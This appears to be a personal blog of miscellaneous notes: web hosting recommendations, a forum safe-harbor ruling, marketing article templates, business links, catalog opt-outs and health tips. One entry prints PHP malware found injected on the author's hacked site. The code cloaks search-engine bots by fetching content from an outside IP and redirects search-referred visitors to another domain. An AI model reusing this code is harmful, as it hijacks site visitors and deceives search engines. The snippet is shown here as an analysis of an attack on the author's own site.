Web Host Recommendation: DownTownHost.com

My pick is DownTownHost.com : FrontPage, PHP, CPanel, Unlimited Addon Domains (Multiple Domain Hosting), $5/mo @ 3 year billing.

Listed in WebHostingTalk as one of the Hosts with >5 years in the market without a negative review.
"I have been with them over a year now. The support still goes above and beyond and has that personal touch which many do not have. I mean they make you feel more like a person or a friend then a customer. its been that way every time I have contacted them. Some thing I should mention about downtown host is every problem I have had has been worked out in one way or another. … I actually talked to them this morning on live chat and they are just as friendly and have a much better live support, I mean the software is better, faster and every thing." "I ended up choosing Downtownhost. They have been EXCELLENT ME so far, you wouldn’t believe some of the stuff they did for me, they practically have went OVER THE TOP. "
http://www.downtownhost.com/shared.html

Also ran (however, more expensive, not as feature rich)
Pear Networks: FrontPage on Advanced Accounts (or higher), PHP, $30 setup,  $17.95 /mo,   8% off for 1 year

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From WebHostingTalk: Hosts with >5 years in the market without negative reviews

http://www.downtownhost.com/
http://pair.com/
http://www.hostcaters.com/
http://futurequest.net/
http://www.handynetworks.com/
http://www.cartikahosting.com/
http://ljhost.com/
http://ez1host.com or http://www.techark.com/
http://www.clook.net/
http://httpme.com/
http://www.glowhost.com/
http://spiderweave.com/
http://www.agilehosting.com
http://glowhost.com
http://ljnetworks.com

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Additional Large Hosts (mixed reviews):
DreamHost, HostGator (generally good reviews, larger storage capacity), GoDaddy (generally positive but mixed reviews, iPowerWeb type complaints).

GoDaddy – FrontPage/ASP (no php), Multiple Web sites, $6.99/mo, 2 year billing available. "godaddy are huge and from what I hear from this forum, are not the best when it comes to support and overselling."

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Internet Forum ISP “Safe Harbor”

U.S. District Judge Amy St. Eve ruled that … the federal Communications Decency Act protects sites that allow users to post unedited messages and communicate freely in forums.
http://www.msnbc.msn.com/id/23672479/

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PHP Hack for Backlinks

We found this on a couple of sites with our (now dropped) iPowerWeb shared host. The code was typically dropped into a file located off the root directory like "/xyzzy/index.php".

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Changing "eval" to "echo" in order to see what is being executed:

$x1=$_SERVER["HTTP_HOST"]; $x3=$_SERVER["SCRIPT_NAME"]; list($path,$z)=explode("index.php",$x3); $m="$x1"."$path"; if (stristr($HTTP_USER_AGENT,"googlebot")||stristr($HTTP_USER_AGENT,"yahoo")||$bot){ ob_start("ob_gzhandler"); $url="http://74.55.31.126/pt/index.php?d=$x1&p=$path&name=$name"; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 15); curl_setopt ($ch, CURLOPT_ENCODING , "gzip"); $result=curl_exec ($ch); curl_close ($ch); echo $result; }else{ $good=0; if (stristr($_SERVER["HTTP_REFERER"],"google"))$good=1; if (stristr($_SERVER["HTTP_REFERER"],"yahoo"))$good=1; if (stristr($_SERVER["HTTP_REFERER"],"aol"))$good=1; if ($good){ header("Location: http://hola-aloha.net/in.php?s=$x1&ver=$version"); }else{ header("Location: /404"); } }

The code allowed the hacker to arbitrarily create backlinks that appeared to be hosted on our site. Quite ingenious.

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Unbiased Travel Reviews

Andrew Harper travels anonymously, accepts no advertising, and pays his own way, making the Hideaway Report the most credible source of information.
http://www.andrewharper.com/AH_Com2/Consider/HideawayReport.aspx

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Financial Forecasting

The Financial Forecast Center has been producing and publishing economic and financial market forecasts since 1997. These forecasts have been and will continue to be published exclusively on the internet.
http://www.forecasts.org/

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5 Steps for Product and Site Design

1) Choose a market with people that have problems they are willing to pay to have solved.
2) Build a "Squeeze Page" to funnel and capture users and track progress.
3) Drive traffic to the Squeeze Page.
4) Build a relationship with your email list.
5) Build a product funnel that meets people’s needs.

Articles should be based on one quick thought or concept from the web site. Tell people how to do something quick in that particular market niche. Give people one thing from the site that they can apply to their business or lifestyle. We want them to read it and say "Oh that makes sense. Let me go to the site to see what that is about".

Not looking for journalistic quality articles. Spelling and grammar correct, but quickly written.

300-word articles on average.

100-word introduction:
1) First sentence tells the reader what the article talks about and gives the definition of something.
2) The second sentence poses a challenge. Indicate whatever the problem is that you are trying to solve in the article.
3) The third sentence tells the reader what you’re going to teach them and how to do it.

200-word Body (2 styles)
1) 6 ot 7 bullet points, approximately 30 words each (roughly 2 sentences for 30 words).
2) Paragraph style, if the topic lends itself to that. Use the same style of step-by-step explanation, just in paragraph form.

If the article needs more than 300 words, split it in half and publish as Part One and Part Two.

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PHP RSS Component

RSS Component:
http://www.ibm.com/developerworks/xml/library/wa-aj-rssphp/index.html
Requires cURL and SimpleXML

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The Most And Least Profitable Businesses To Start

http://www.forbes.com/2008/01/18/citigroup-sageworks-nyu-ent-fin-cx_mf_0118mostprofitable.html

Seven Businesses You Can Start Tomorrow:
http://www.forbes.com/2007/11/07/small-business-startup-ent-manage-cx_mf_1107biztomorrow.html

Businesses That Don’t Exist, But Should:
http://www.forbes.com/2007/12/07/merck-qualcomm-intel-ent-tech-cx_nc_1207bizdontexist.html

Source:
http://www.msnbc.msn.com/id/23343225/

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Unsubscribe From (Snail) Mail Lists

Three weeks ago, DMA rolled out an enhanced version of its DMAChoice Web site. The service is free and it lets you select which catalogs you want to drop. There are about 1,500 of them in the database.

http://www.dmachoice.org/index.php

A new Web site, catalogchoice.org, was launched in October by a coalition of environmental groups, including the National Resources Defense Council and the National Wildlife Federation. Already, more than half a million people have become members. So far, they’ve opted out of more than 6 million catalogs.

http://www.catalogchoice.org/

[more…]

http://www.msnbc.msn.com/id/22918522/

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How to boost your health in almost no time

How to boost your health in almost no time:

* Eat the peel. The bulk of an apple’s benefit lies in its skin.

* Take the right supplements. Getting enough vitamin D and calcium brings a remarkable reduction in cancer risk…

* Slow aging: Sniff some lavender or rosemary. The scent of lavender can bring you a restful night’s sleep — but the plant can do you a world of good in daylight, too.

* Cut cholesterol:
Sprinkle pistachios on your salad. Researchers at Pennsylvania State University recently gave volunteers a pleasant task: Eat 1 1/2 ounces (about a handful) of pistachios every day. At the end of 4 weeks, those who munched the nuts reduced their total cholesterol by an average of 6.7% and their LDL ("bad") cholesterol by 11.6%.

* Replace sugar with buckwheat honey. This sweet substance has been used for medicinal purposes since ancient times; when it’s applied to a wound, honey is a natural antibacterial salve. Now researchers say that its benefits may be much more than skin deep.

* Keep your vision sharp: Eat an egg. No offense meant to carrots, but research shows eggs are an even better source of the eye-friendly antioxidants known as carotenoids.

* Reduce dangerous inflammation: Pour a bowl of whole grain cereal. Whole grains are about much more than "regularity" — they can save your life.

* Boost antioxidants: Add avocado to your salad.

* Snack on dried figs. Dried fruits are known to be rich in antioxidants — but some of the less popular types are the most nutritious. Figs and dried plums (aka prunes) had the best overall nutrient scores…

* Have 2 cups of green tea daily. Studies have shown that green tea helps keep cholesterol in check and may lower cancer risk. Now researchers say the drink may also work to maintain cognitive function.

[…more…]

http://www.msnbc.msn.com/id/21820386/

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